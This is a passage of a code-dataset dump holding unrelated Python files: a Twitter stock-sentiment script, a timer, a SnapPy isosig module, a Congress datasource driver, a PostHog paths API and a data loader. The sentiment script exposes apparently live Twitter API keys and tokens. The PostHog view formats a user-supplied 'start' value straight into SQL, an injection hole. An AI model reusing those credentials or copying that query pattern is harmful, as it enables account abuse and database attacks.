updated!\")\n\n if os.path.exists(tmp_path):\n shutil.rmtree(tmp_path)","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":1772,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"153646277","text":"import tweepy\r\nfrom textblob import TextBlob\r\nimport numpy as np\r\nimport operator\r\n\r\n# Step 1: Authenticate\r\nconsumer_key = 'b4qJoOBvj6QqI45YOkg7ovBFi'\r\nconsumer_secret = 'UdsPAtwW1IeY7sTNPpmlFq5XPzrwGZkZg6KvpjwvUM7jwMjaTC'\r\n\r\naccess_token = '516928802-5aS8RWSEA1tqQPOIzCeeqSF1x8QduP8197c7JNbn'\r\naccess_token_secret = 'drAR6koYhsUHvqC17kcMiN3FoicTng6uBJZaiKerEV45I'\r\n\r\nauth = tweepy.OAuthHandler(consumer_key, consumer_secret)\r\nauth.set_access_token(access_token, access_token_secret)\r\n\r\napi = tweepy.API(auth)\r\n\r\n# Step 2: Prep query features\r\nprint(\"made it to step 2\")\r\n# List of Stocks\r\nstock_names = ['$SBUX', '$ZDGE', '$ARL', '$KRMA', '$TRNC', '$PBI', '$PRTY']\r\nsince_date = \"2018-01-01\"\r\nuntil_date = \"2018-04-29\"\r\n\r\n\r\ndef get_label(analysis, threshold=0):\r\n if analysis.sentiment[0] > threshold:\r\n return 'Positive'\r\n else:\r\n return 'Negative'\r\n\r\n\r\n# Step 3: retrive and save tweets\r\nprint(\"made it to step 3\")\r\nall_polarities = dict()\r\nfor stock in stock_names:\r\n this_stock_polaritities = []\r\n # Get the tweets about the stock\r\n this_stock_tweets = api.search(q=[stock], count=100, since=since_date, until=until_date)\r\n # Save to csv\r\n with open('stocks_tweets.csv' % stock, 'wb') as this_stock_file:\r\n this_stock_file.write('tweet, sentiment_label')\r\n for tweet in this_stock_tweets:\r\n analysis = TextBlob(tweet.text)\r\n # Get the label corresponding to the sentiment analysis\r\n this_stock_polaritities.append(analysis.sentiment[0])\r\n this_stock_file.write('%s,%s\\n' % (tweet.text.encode('utf8'), get_label(analysis)))\r\n # Save the mean for final results\r\n all_polarities[stock] = np.mean(this_stock_polaritities)\r\n\r\n\r\n# Step 4: Print results\r\nsorted_analysis = sorted(all_polarities.items(), key=operator.itemgetter(1), reverse=True)\r\nprint(\"Mean sentiment Polarity in Decending order :\")\r\nfor stock, polarity in sorted_analysis:\r\n print('%s : %0.3f' % (stock, polarity))\r\n","sub_path":"PyForDataSci2.py","file_name":"PyForDataSci2.py","file_ext":"py","file_size_in_byte":1994,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"174830013","text":"\"\"\"\nrecord time taken for code to peform several steps\n\"\"\"\n\nimport time\nimport logging\n\nclass Timer(object):\n def __init__(self, name, milliseconds=True):\n self.log = logging.getLogger('timing.'+name)\n self.times = []\n self.next_step(\"\")\n self.multiplier = 1000 if milliseconds else 1\n\n def next_step(self, *lbl):\n label = lbl[1] if lbl else None\n self.times.append((label, time.time()))\n\n def last_step(self, *lbl):\n self.next_step(*lbl)\n self._log()\n\n def _log(self):\n if self.log.isEnabledFor(logging.DEBUG):\n previous_step = self.times[0][1]\n message = 'elapsed %f:' % self.multiplier*(self.times[:-1][1]-previous_step)\n for tuple in self.times[1:]:\n message += ' '\n if tuple[0]:\n message += tuple[0]+'='\n this_step = tuple[1]\n delta = self.multiplier*(this_step-previous_step)\n message += '%f' % delta\n previous_step = this_step\n self.log.debug(message)","sub_path":"src/ooi/timer.py","file_name":"timer.py","file_ext":"py","file_size_in_byte":1086,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"35623851","text":"# uncompyle6 version 3.7.4\n# Python bytecode 2.7 (62211)\n# Decompiled from: Python 3.6.9 (default, Apr 18 2020, 01:56:04) \n# [GCC 8.4.0]\n# Embedded file name: /Users/dunfield/snappy/build/lib.macosx-10.6-intel-2.7/snappy/decorated_isosig.py\n# Compiled at: 2019-07-15 23:56:54\nfrom __future__ import print_function\nfrom builtins import range\nimport re, string\nseparator = '_'\nbase64_pat = '([a-zA-Z0-9\\\\+\\\\-]+)'\nseparator_pat = '[%s]{1}' % separator\nisosig_pattern = re.compile(base64_pat + separator_pat + base64_pat + '$')\nbase64_letters = string.ascii_letters + '0123456789+-'\nbase64_lower = string.ascii_lowercase + '01234+'\nbase64_upper = string.ascii_uppercase + '56789-'\nin_one = string.ascii_lowercase[:16] + string.ascii_lowercase[1:16].upper()\nint_to_letter = dict(enumerate(base64_letters))\nletter_to_int = dict((a, i) for i, a in enumerate(base64_letters))\n\ndef encode_nonnegative_int(x):\n \"\"\"\n Regina's base64 encoding scheme for nonnegative integers,\n described in the appendix to http://arxiv.org/abs/1110.6080\n \"\"\"\n assert x >= 0\n six_bits = []\n while True:\n low_six = x & 63\n six_bits.append(low_six)\n x = x >> 6\n if x == 0:\n break\n\n return ('').join([ int_to_letter[b] for b in six_bits ])\n\n\ndef decode_nonnegative_int(s):\n return sum(letter_to_int[a] << 6 * i for i, a in enumerate(s))\n\n\ndef encode_int(x):\n \"\"\"\n Encodes an integer in the range [-2**90 + 1, 2**90 - 1] with a \"stop\"\n at the end so a concatenation of such encodings is easily decodable. \n The basic format is:\n \n If x in [0...15], encode as a single letter in [a...p].\n If x in [-15...-1] encode as a single letter in [P...B]. \n\n Otherwise, the first letter specifies the length of\n encode_nonnegative_int(abs(x)) as well as sign(x), followed by the\n encoding of abs(x).\n \"\"\"\n if 0 <= x < 16:\n return base64_letters[x]\n if -15 <= x < 0:\n return base64_letters[(abs(x) + 26)]\n encoded_xabs = encode_nonnegative_int(abs(x))\n L = len(encoded_xabs)\n try:\n if x > 0:\n return base64_lower[(16 + L)] + encoded_xabs\n if x < 0:\n return base64_upper[(16 + L)] + encoded_xabs\n except IndexError:\n raise ValueError('The given integer is too large to encode')\n\n\ndef encode_integer_list(L):\n return ('').join(map(encode_int, L))\n\n\ndef decode_integer_list(encoded):\n ans = []\n while len(encoded):\n s = encoded[0]\n sign = 1 if s in base64_lower else -1\n if s in in_one:\n ans.append(sign * letter_to_int[s.lower()])\n encoded = encoded[1:]\n else:\n if sign == 1:\n L = base64_lower.index(s) - 16\n else:\n L = base64_upper.index(s) - 16\n current, encoded = encoded[1:L + 1], encoded[L + 1:]\n ans.append(sign * decode_nonnegative_int(current))\n\n return ans\n\n\ndef det(A):\n return A[0][0] * A[1][1] - A[0][1] * A[1][0]\n\n\ndef inverse_perm(L):\n ans = len(L) * [None]\n for i, x in enumerate(L):\n ans[x] = i\n\n return ans\n\n\ndef as_two_by_two_matrices(L):\n assert len(L) % 4 == 0\n return [ [(L[i], L[(i + 1)]), (L[(i + 2)], L[(i + 3)])] for i in range(0, len(L), 4) ]\n\n\ndef sgn_column(matrix, col):\n \"\"\"\n Returns +1 or -1 depending on the sign of the first non-zero entry\n in the column of the given matrix.\n \"\"\"\n first_non_zero_entry = matrix[(0, col)] if matrix[(0, col)] != 0 else matrix[(1, col)]\n if first_non_zero_entry > 0:\n return +1\n return -1\n\n\ndef determine_flips(matrices, orientable):\n \"\"\"\n Returns pairs [(l,m)] for each given matrix. Multiplying the columsn of\n each matrix with the respective pair brings the matrix in \"canonical\" form.\n \"\"\"\n if orientable:\n det_sign = matrices[0][(0, 0)] * matrices[0][(1, 1)] - matrices[0][(0, 1)] * matrices[0][(1,\n 0)]\n return [ (sgn_column(matrix, 0), sgn_column(matrix, 0) * det_sign) for matrix in matrices\n ]\n else:\n return [ (sgn_column(matrix, 0), sgn_column(matrix, 1)) for matrix in matrices\n ]\n\n\ndef pack_matrices_applying_flips(matrices, flips):\n \"\"\"\n Multiplies the columns of each matrix by the entries in flips and\n packs all the matrices into one array, column-major.\n \"\"\"\n result = []\n for matrix, flip in zip(matrices, flips):\n for col in range(2):\n for row in range(2):\n result.append(matrix[(row, col)] * flip[col])\n\n return result\n\n\ndef supress_minus_zero(x):\n if x == 0:\n return 0\n return x\n\n\ndef decorated_isosig(manifold, triangulation_class, ignore_cusp_ordering=False, ignore_curve_orientations=False):\n isosig = manifold.triangulation_isosig(decorated=False)\n N = triangulation_class(isosig, remove_finite_vertices=False)\n N.set_peripheral_curves('combinatorial')\n trivial_perm = list(range(manifold.num_cusps()))\n min_encoded = None\n min_perm = None\n min_flips = None\n for tri_iso in manifold.isomorphisms_to(N):\n perm = inverse_perm(tri_iso.cusp_images())\n if ignore_cusp_ordering:\n matrices = [ tri_iso.cusp_maps()[i] for i in perm ]\n else:\n matrices = tri_iso.cusp_maps()\n if ignore_curve_orientations:\n flips = determine_flips(matrices, manifold.is_orientable())\n else:\n flips = [ (1, 1) for matrix in matrices ]\n decorations = pack_matrices_applying_flips(matrices, flips)\n if perm == trivial_perm or ignore_cusp_ordering:\n encoded = encode_integer_list(decorations)\n else:\n encoded = encode_integer_list(perm + decorations)\n if min_encoded is None or encoded < min_encoded:\n min_encoded = encoded\n min_perm = perm\n min_flips = flips\n\n ans = isosig + separator + min_encoded\n if False in manifold.cusp_info('complete?'):\n if ignore_cusp_ordering:\n slopes = [ manifold.cusp_info('filling')[i] for i in min_perm ]\n else:\n slopes = manifold.cusp_info('filling')\n for flip, slope in zip(min_flips, slopes):\n ans += '(%g,%g)' % (supress_minus_zero(flip[0] * slope[0]),\n supress_minus_zero(flip[1] * slope[1]))\n\n return ans\n\n\ndef set_peripheral_from_decoration(manifold, decoration):\n \"\"\"\n The manifold is assumed to already have a triangulation created\n from the \"bare\" isosig. \n \"\"\"\n dec = decode_integer_list(decoration)\n manifold.set_peripheral_curves('combinatorial')\n n = manifold.num_cusps()\n if len(dec) == 4 * n:\n cobs = as_two_by_two_matrices(dec)\n else:\n assert len(dec) == 5 * n\n manifold._reindex_cusps(dec[:n])\n cobs = as_two_by_two_matrices(dec[n:])\n if det(cobs[0]) < 0 and manifold.is_orientable():\n manifold.reverse_orientation()\n cobs = [ [(-a, b), (-c, d)] for (a, b), (c, d) in cobs ]\n manifold.set_peripheral_curves(cobs)\n\n\ndef is_identity(A):\n return A[(0, 0)] == A[(1, 1)] == 1 and A[(1, 0)] == A[(0, 1)] == 0\n\n\ndef preserves_peripheral_curves(h):\n perm = h.cusp_images()\n each_cusp = [ is_identity(A) for A in h.cusp_maps() ]\n return perm == sorted(perm) and False not in each_cusp\n\n\ndef same_peripheral_curves(M, N):\n for h in M.isomorphisms_to(N):\n if preserves_peripheral_curves(h):\n return True\n\n return False\n\n\nasymmetric = [\n 'v3372', 't10397', 't10448', 't11289', 't11581',\n 't11780', 't11824', 't12685', 'o9_34328', 'o9_35609', 'o9_35746',\n 'o9_36591', 'o9_37290', 'o9_37552', 'o9_38147', 'o9_38375',\n 'o9_38845', 'o9_39220', 'o9_41039', 'o9_41063', 'o9_41329',\n 'o9_43248']\n\ndef main_test():\n import snappy\n censuses = [\n snappy.OrientableClosedCensus[:100],\n snappy.OrientableCuspedCensus(filter='tets<7'),\n snappy.NonorientableClosedCensus,\n snappy.NonorientableCuspedCensus,\n snappy.CensusKnots(),\n snappy.HTLinkExteriors(filter='cusps>3 and volume<14'), [ snappy.Manifold(name) for name in asymmetric ]]\n tests = 0\n for census in censuses:\n for M in census:\n isosig = decorated_isosig(M, snappy.Triangulation)\n N = snappy.Triangulation(isosig)\n assert same_peripheral_curves(M, N), M\n assert isosig == decorated_isosig(N, snappy.Triangulation), M\n assert M.homology() == N.homology()\n tests += 1\n\n print('Tested decorated isosig encode/decode on %d triangulations' % tests)\n\n\ndef test_integer_list_encoder(trys=1000, length=100, max_entry=1237940039285380274899124224):\n import random\n tests = 0\n for i in range(trys):\n entries = [ random.randrange(-max_entry, max_entry) for i in range(length) ]\n entries += [ random.randrange(-15, 16) for i in range(length) ]\n random.shuffle(entries)\n assert decode_integer_list(encode_integer_list(entries)) == entries\n tests += 1\n\n print('Tested encode/decode on %d lists of integers' % tests)\n\n\ndef test_link_invariant():\n import snappy\n dt_codes = [\n [\n (-14, -46, -40, -28, -60, -70), (-32, -34, -38, -4, -52, -50, -48), (-44, -42, -64, -2, -16, -58), (-56, -54, -8), (-36, -26, -24, -22, -20, -6, -18), (-10, -66), (-72, -30, -62), (-12, -68)],\n [\n (-14, -46, -40, -28, -60, -70), (-36, -34, -30, -4, -52, -50, -48), (-42, -44, -58, -16, -2, -64), (-56, -54, -8), (-32, -26, -24, -22, -20, -6, -18), (-10, -66), (-72, -38, -62), (-12, -68)],\n [\n (14, 70, 64, 50, 36, 24), (18, 2), (26, 16, 72), (46, 44, 22, 6, 48, 54), (52, 62, 60, 58, 56, 12, 34), (68, 66, 32, 10, 42, 40, 38), (28, 30, 8), (20, 4)],\n [\n (-14, -46, -40, -28, -60, -70), (-32, -34, -38, -4, -52, -50, -48), (-44, -42, -64, -2, -16, -58), (-56, -54, -8), (-36, -26, -24, -22, -20, -6, -18), (-10, -68), (-30, -72, -62), (-12, -66)],\n [\n (14, 70, 64, 50, 36, 24), (2, 18), (34, 16, 72), (42, 40, 54, 38, 6, 22), (62, 52, 26, 12, 56, 58, 60), (68, 66, 28, 10, 44, 46, 48), (32, 30, 8), (20, 4)],\n [\n (-14, -46, -40, -28, -60, -70), (-34, -36, -58, -56, -54, -4, -30), (-42, -44, -48, -26, -2, -64), (-50, -52, -8), (-16, -32, -24, -6, -22, -20, -18), (-68, -10), (-38, -72, -62), (-66, -12)],\n [\n (-14, -46, -40, -28, -60, -70), (-34, -36, -58, -56, -54, -4, -30), (-42, -44, -48, -26, -2, -64), (-50, -52, -8), (-16, -32, -24, -6, -22, -20, -18), (-10, -66), (-72, -38, -62), (-68, -12)],\n [\n (14, 70, 64, 50, 36, 24), (2, 18), (16, 34, 72), (42, 40, 54, 38, 6, 20), (62, 52, 26, 12, 56, 58, 60), (68, 66, 28, 10, 44, 46, 48), (32, 30, 8), (4, 22)],\n [\n (-14, -46, -40, -28, -60, -70), (-32, -34, -38, -4, -52, -50, -48), (-44, -42, -64, -2, -16, -58), (-56, -54, -8), (-36, -26, -24, -22, -20, -6, -18), (-66, -10), (-72, -30, -62), (-68, -12)]]\n mfds = [ snappy.Manifold('DT%s' % dt_code) for dt_code in dt_codes + dt_codes ]\n for mfd in mfds[:len(dt_codes)]:\n mfd.reverse_orientation()\n\n isometry_signatures = [ mfd.isometry_signature(of_link=True) for mfd in mfds\n ]\n assert len(set(isometry_signatures)) == 1\n M = snappy.Manifold(isometry_signatures[0])\n N = snappy.Manifold(M.isometry_signature(of_link=True))\n assert same_peripheral_curves(M, N)\n assert isometry_signatures[0] == M.isometry_signature(of_link=True)\n assert isometry_signatures[0] == N.isometry_signature(of_link=True)\n for mfd in mfds:\n assert mfd.is_isometric_to(M, True)[0].extends_to_link()\n assert mfd.is_isometric_to(N, True)[0].extends_to_link()\n\n print('Tested that decorated isometry_signature is a link invariant')\n\n\ndef helper_are_isometric(M, N):\n for i in range(100):\n try:\n if M.is_isometric_to(N):\n return\n except:\n pass\n\n M.randomize()\n N.randomize()\n\n raise Exception('Could not find isometry')\n\n\ndef helper_test_by_dehn_filling(M):\n from snappy import Manifold\n M_filled = M.filled_triangulation()\n for ignore_cusp_ordering in [False, True]:\n for ignore_curve_orientations in [False, True]:\n isosig = M.triangulation_isosig(decorated=True, ignore_cusp_ordering=ignore_cusp_ordering, ignore_curve_orientations=ignore_curve_orientations)\n N = Manifold(isosig)\n N_filled = N.filled_triangulation()\n helper_are_isometric(M, N)\n\n\ndef test_by_dehn_filling():\n import random\n from snappy import OrientableCuspedCensus\n count = 0\n for M in OrientableCuspedCensus(cusps=3):\n for i in range(20):\n unfilled = random.randint(0, 2)\n for c in range(3):\n if c != unfilled:\n fillings = [\n (1, 0), (0, 1), (11, 12), (-13, 16),\n (9, -11), (8, 9), (1, 7), (13, 14),\n (14, -15), (17, -18)]\n M.dehn_fill(fillings[random.randint(0, len(fillings) - 1)], c)\n\n if 'positive' in M.solution_type():\n count += 1\n helper_test_by_dehn_filling(M)\n\n print('Tested %d randomly Dehn filled manifolds' % count)\n\n\nif __name__ == '__main__':\n test_integer_list_encoder()\n main_test()\n test_link_invariant()\n test_by_dehn_filling()","sub_path":"pycfiles/snappy-2.7-cp27-cp27m-macosx_10_6_intel/decorated_isosig.py","file_name":"decorated_isosig.py","file_ext":"py","file_size_in_byte":13397,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"336356521","text":"#!/usr/bin/env python\n# Copyright (c) 2013 VMware, Inc. All rights reserved.\n#\n# Licensed under the Apache License, Version 2.0 (the \"License\"); you may\n# not use this file except in compliance with the License. You may obtain\n# a copy of the License at\n#\n# http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS, WITHOUT\n# WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the\n# License for the specific language governing permissions and limitations\n# under the License.\n#\n\nfrom congress.dse import deepsix\nfrom congress.policy import compile\nfrom congress.policy import runtime\n\n\nclass DataSourceDriver(deepsix.deepSix):\n def __init__(self, name, keys, inbox=None, datapath=None,\n poll_time=None, **creds):\n if poll_time is None:\n poll_time = 10\n # a dictionary from tablename to the SET of tuples, both currently\n # and in the past.\n self.prior_state = dict()\n self.state = dict()\n self.poll_time = poll_time\n self.creds = creds\n # Make sure all data structures above are set up *before* calling\n # this because it will publish info to the bus.\n super(DataSourceDriver, self).__init__(name, keys, inbox, datapath)\n\n def get_all(self, type):\n raise NotImplementedError()\n\n def get_last_updated_time(self):\n raise NotImplementedError()\n\n def boolean_to_congress(self, value):\n return self.value_to_congress(value)\n\n def value_to_congress(self, value):\n if isinstance(value, basestring):\n return value\n if value in (True, False):\n return str(value)\n if (isinstance(value, int) or\n isinstance(value, long) or\n isinstance(value, float)):\n return value\n return str(value)\n\n def state_set_diff(self, state1, state2, table=None):\n \"\"\"Given 2 tuplesets STATE1 and STATE2, return the set difference\n STATE1-STATE2. Each tupleset is represented as a dictionary\n from tablename to set of tuples. Return value is a tupleset,\n also represented as a dictionary from tablename to set of tuples.\n \"\"\"\n if table is None:\n diff = {}\n for tablename in state1:\n if tablename not in state2:\n # make sure to copy the set (the set-diff below does too)\n diff[tablename] = set(state1[tablename])\n else:\n diff[tablename] = state1[tablename] - state2[tablename]\n return diff\n else:\n if table not in state1:\n return set()\n if table not in state2:\n # make copy\n return set(state1[table])\n else:\n return state1[table] - state2[table]\n\n def poll(self):\n \"\"\"Function called periodically to grab new information, compute\n deltas, and publish those deltas.\n \"\"\"\n self.log(\"polling\".format(self.name))\n self.prior_state = self.state\n self.state = {}\n self.update_from_datasource() # sets self.state\n tablenames = set(self.state.keys()) | set(self.prior_state.keys())\n for tablename in tablenames:\n # publishing full table and using prepush_processing to send\n # only deltas. Useful so that if policy engine subscribes\n # late (or dies and comes back up), DSE can automatically\n # send the full table.\n if tablename in self.state:\n self.publish(tablename, self.state[tablename])\n else:\n self.publish(tablename, set())\n self.log(\"finished polling\".format(self.name))\n\n def prepush_processor(self, data, dataindex, type=None):\n \"\"\"Takes as input the DATA that the receiver needs and returns\n the payload for the message. If this is a regular publication\n message, make the payload just the delta; otherwise, make the\n payload the entire table.\n \"\"\"\n # This routine basically ignores DATA and sends a delta\n # of the self.prior_state and self.state, for the DATAINDEX\n # part of the state.\n self.log(\"prepush_processor: dataindex <{}> data: {}\".format(\n str(dataindex), str(data)))\n # if not a regular publication, just return the original data\n if type != 'pub':\n self.log(\"prepush_processor: returned original data\")\n if type == 'sub':\n # Always want to send initialization of []\n if data is None:\n return []\n else:\n return data\n return data\n # grab deltas\n to_add = self.state_set_diff(self.state, self.prior_state, dataindex)\n to_del = self.state_set_diff(self.prior_state, self.state, dataindex)\n self.log(\"to_add: \" + str(to_add))\n self.log(\"to_del: \" + str(to_del))\n # create Events\n to_add = [runtime.Event(\n formula=compile.Literal.create_from_table_tuple(\n dataindex, x), insert=True)\n for x in to_add]\n to_del = [runtime.Event(\n formula=compile.Literal.create_from_table_tuple(\n dataindex, x), insert=False)\n for x in to_del]\n result = to_add + to_del\n if len(result) == 0:\n # Policy engine expects an empty update to be an init msg\n # So if delta is empty, return None, which signals\n # the message should not be sent.\n result = None\n text = \"None\"\n else:\n text = runtime.iterstr(result)\n self.log(\"prepush_processor for <{}> returning: {}\".format(self.name,\n dataindex, text))\n return result\n\n def d6run(self):\n if self.poll_time: # setting to 0/False/None means auto-polling is off\n self.poll()\n","sub_path":"congress/datasources/datasource_driver.py","file_name":"datasource_driver.py","file_ext":"py","file_size_in_byte":6131,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"362519153","text":"# -*- coding: utf-8 -*-\nn = int(input())\na = list(map(int, input().split()))\n\n\nd = {}\nfor num in a:\n d[num] = d.get(num, 0) + 1\n\n\nfor i in range(1, len(a)+2):\n if i in d:\n print(d[i])\n else:\n print(0)\n","sub_path":"Python_codes/p02707/s740357956.py","file_name":"s740357956.py","file_ext":"py","file_size_in_byte":224,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"388709181","text":"from rest_framework import viewsets, request\nfrom rest_framework.response import Response\nfrom rest_framework.decorators import action\nfrom posthog.models import Event, Filter\nfrom posthog.utils import request_to_date_query, dict_from_cursor_fetchall\nfrom django.db.models import OuterRef\nfrom django.db import connection\nfrom typing import Optional\n\nfrom django.db.models.expressions import Window\nfrom django.db.models.functions import Lag\nfrom django.db.models import F, Q\nfrom django.db import connection\n\nimport json\n\n# At the moment, paths don't support users changing distinct_ids midway through.\n# See: https://github.com/PostHog/posthog/issues/185\nclass PathsViewSet(viewsets.ViewSet):\n def _event_subquery(self, event: str, key: str):\n return Event.objects.filter(pk=OuterRef(event)).values(key)[:1]\n\n def _determine_path_type(self, request):\n requested_type = request.GET.get(\"type\", None)\n\n # Default\n event: Optional[str] = \"$pageview\"\n event_filter = {\"event\": event}\n path_type = \"properties->> '$current_url'\"\n start_comparator = \"{} ~\".format(path_type)\n\n # determine requested type\n if requested_type:\n if requested_type == \"$screen\":\n event = \"$screen\"\n event_filter = {\"event\": event}\n path_type = \"properties->> '$screen_name'\"\n start_comparator = \"{} ~\".format(path_type)\n elif requested_type == \"$autocapture\":\n event = \"$autocapture\"\n event_filter = {\"event\": event}\n path_type = \"tag_name_source\"\n start_comparator = \"group_id =\"\n elif requested_type == \"custom_event\":\n event = None\n event_filter = {}\n path_type = \"event\"\n start_comparator = \"event =\"\n return event, path_type, event_filter, start_comparator\n\n @action(methods=[\"GET\"], detail=False)\n def elements(self, request: request.Request):\n\n team = request.user.team_set.get()\n all_events = Event.objects.filter(team=team, event=\"$autocapture\")\n all_events_SQL, sql_params = all_events.query.sql_with_params()\n\n elements_readble = '\\\n SELECT tag_name_source as name, group_id as id FROM (SELECT \\'<\\' || e.\"tag_name\" || \\'> \\' || e.\"text\" as tag_name_source, e.\"text\" as text_source, e.group_id FROM \"posthog_element\" e\\\n JOIN ( SELECT group_id, MIN(\"posthog_element\".\"order\") as minOrder FROM \"posthog_element\" GROUP BY group_id) e2 ON e.order = e2.minOrder AND e.group_id = e2.group_id) as element\\\n JOIN (SELECT id, hash, count FROM posthog_elementgroup as g JOIN (SELECT count(*), elements_hash from ({}) as a group by elements_hash) as e on g.hash = e.elements_hash) as outer_group ON element.group_id = outer_group.id where text_source <> \\'\\' order by count DESC limit 20\\\n '.format(\n all_events_SQL\n )\n cursor = connection.cursor()\n cursor.execute(elements_readble, sql_params)\n rows = dict_from_cursor_fetchall(cursor)\n return Response(rows)\n\n def _apply_start_point(self, start_comparator: str, query_string: str, start_point: str) -> str:\n marked = \"\\\n SELECT *, CASE WHEN {} '{}' THEN timestamp ELSE NULL END as mark from ({}) as sessionified\\\n \".format(\n start_comparator, start_point, query_string\n )\n\n marked_plus = \"\\\n SELECT *, MIN(mark) OVER (\\\n PARTITION BY distinct_id\\\n , session ORDER BY timestamp\\\n ) AS max from ({}) as marked order by session\\\n \".format(\n marked\n )\n\n sessionified = \"\\\n SELECT * FROM ({}) as something where timestamp >= max \\\n \".format(\n marked_plus\n )\n return sessionified\n\n def _add_elements(self, query_string: str) -> str:\n element = 'SELECT \\'<\\'|| e.\"tag_name\" || \\'> \\' || e.\"text\" as tag_name_source, e.\"text\" as text_source FROM \"posthog_element\" e JOIN \\\n ( SELECT group_id, MIN(\"posthog_element\".\"order\") as minOrder FROM \"posthog_element\" GROUP BY group_id) e2 ON e.order = e2.minOrder AND e.group_id = e2.group_id where e.group_id = v2.group_id'\n element_group = 'SELECT g.\"id\" as group_id FROM \"posthog_elementgroup\" g where v1.\"elements_hash\" = g.\"hash\"'\n sessions_sql = \"SELECT * FROM ({}) as v1 JOIN LATERAL ({}) as v2 on true JOIN LATERAL ({}) as v3 on true\".format(\n query_string, element_group, element\n )\n return sessions_sql\n\n # FIXME: Timestamp is timezone aware timestamp, date range uses naive date.\n # To avoid unexpected results should convert date range to timestamps with timezone.\n def list(self, request):\n team = request.user.team_set.get()\n resp = []\n date_query = request_to_date_query(request.GET, exact=False)\n event, path_type, event_filter, start_comparator = self._determine_path_type(request)\n properties = request.GET.get(\"properties\")\n start_point = request.GET.get(\"start\")\n\n sessions = (\n Event.objects.add_person_id(team.pk)\n .filter(team=team, **(event_filter), **date_query)\n .filter(~Q(event__in=[\"$autocapture\", \"$pageview\", \"$identify\", \"$pageleave\"]) if event is None else Q())\n .filter(\n Filter(data={\"properties\": json.loads(properties)}).properties_to_Q(team_id=team.pk)\n if properties\n else Q()\n )\n .annotate(\n previous_timestamp=Window(\n expression=Lag(\"timestamp\", default=None),\n partition_by=F(\"distinct_id\"),\n order_by=F(\"timestamp\").asc(),\n )\n )\n )\n\n sessions_sql, sessions_sql_params = sessions.query.sql_with_params()\n\n if event == \"$autocapture\":\n sessions_sql = self._add_elements(query_string=sessions_sql)\n\n events_notated = \"\\\n SELECT *, CASE WHEN EXTRACT('EPOCH' FROM (timestamp - previous_timestamp)) >= (60 * 30) OR previous_timestamp IS NULL THEN 1 ELSE 0 END AS new_session\\\n FROM ({}) AS inner_sessions\\\n \".format(\n sessions_sql\n )\n\n sessionified = \"\\\n SELECT events_notated.*, SUM(new_session) OVER (\\\n ORDER BY distinct_id\\\n ,timestamp\\\n ) AS session\\\n FROM ({}) as events_notated\\\n \".format(\n events_notated\n )\n\n if start_point:\n sessionified = self._apply_start_point(\n start_comparator=start_comparator, query_string=sessionified, start_point=start_point,\n )\n\n final = \"\\\n SELECT {} as path_type, id, sessionified.session\\\n ,ROW_NUMBER() OVER (\\\n PARTITION BY distinct_id\\\n ,session ORDER BY timestamp\\\n ) AS event_number\\\n FROM ({}) as sessionified\\\n \".format(\n path_type, sessionified\n )\n\n counts = \"\\\n SELECT event_number || '_' || path_type as target_event, id as target_id, LAG(event_number || '_' || path_type, 1) OVER (\\\n PARTITION BY session\\\n ) AS source_event , LAG(id, 1) OVER (\\\n PARTITION BY session\\\n ) AS source_id from \\\n ({}) as final\\\n where event_number <= 4\\\n \".format(\n final\n )\n\n cursor = connection.cursor()\n cursor.execute(\n \"\\\n SELECT source_event, target_event, MAX(target_id), MAX(source_id), count(*) from ({}) as counts\\\n where source_event is not null and target_event is not null\\\n group by source_event, target_event order by count desc limit 20\\\n \".format(\n counts\n ),\n sessions_sql_params,\n )\n rows = cursor.fetchall()\n\n for row in rows:\n resp.append(\n {\"source\": row[0], \"target\": row[1], \"target_id\": row[2], \"source_id\": row[3], \"value\": row[4],}\n )\n\n resp = sorted(resp, key=lambda x: x[\"value\"], reverse=True)\n return Response(resp)\n","sub_path":"posthog/api/paths.py","file_name":"paths.py","file_ext":"py","file_size_in_byte":8312,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"340758480","text":"import json, os, time\nimport numpy as np\nimport h5py\n\ndef load_candidate(arg_dataset, argN, argC):\n h5f = h5py.File(arg_dataset,'r')\n if argN == -1:\n feature = h5f['pfd']\n else:\n feature = h5f['pfd'][:argN]\n label = np.full((len(feature), ), argC, dtype=int)\n return feature, label, len(feature)\n\ndef load_data(argM, argN, arg_mbr, tuple_shape):\n # (64, 32, 64)\n pf, pl, argM = load_candidate('H:\\\\研究生\\\\1-SKA\\\\Data\\\\PMPS\\\\subintband\\\\%s%s+.hdf5'%(arg_mbr, str(tuple_shape)), argM, 1)\n nf, nl, argN = load_candidate('H:\\\\研究生\\\\1-SKA\\\\Data\\\\PMPS\\\\subintband\\\\%s%s-.hdf5'%(arg_mbr, str(tuple_shape)), argN, 0)\n\n maparr = np.arange(argM + argN)\n np.random.shuffle(maparr)\n shp = (argM + argN,) + tuple_shape\n\n ftmp = np.empty(shp)\n ltmp = np.empty((argM + argN, ))\n ftmp[:argM] = pf\n ftmp[argM:] = nf\n ltmp[:argM] = pl\n ltmp[argM:] = nl\n\n feature = np.empty(shp)\n label = np.empty((argM + argN, ))\n\n for i in range(argM + argN):\n feature[i] = ftmp[maparr[i]]\n label[i] = ltmp[maparr[i]]\n\n return feature, np.array(label, dtype=int)\n\ndef load_profs(argM, argN, argdiv, tuple_shape):\n feature, label = load_data(argM, argN, 'prof', tuple_shape)\n train, test = {}, {}\n\n shp1 = feature[:argdiv].shape + (1,)\n shp2 = feature[argdiv:].shape + (1,)\n\n train['data'] = feature[:argdiv].reshape(shp1)\n train['label'] = label[:argdiv]\n\n test['data'] = feature[argdiv:].reshape(shp2)\n test['label'] = label[argdiv:]\n\n return train, test\n\n\ndef load_subband(argM, argN, argdiv, tuple_shape):\n feature, label = load_data(argM, argN, 'subband', tuple_shape)\n train, test = {}, {}\n\n shp1 = feature[:argdiv].shape + (1,)\n shp2 = 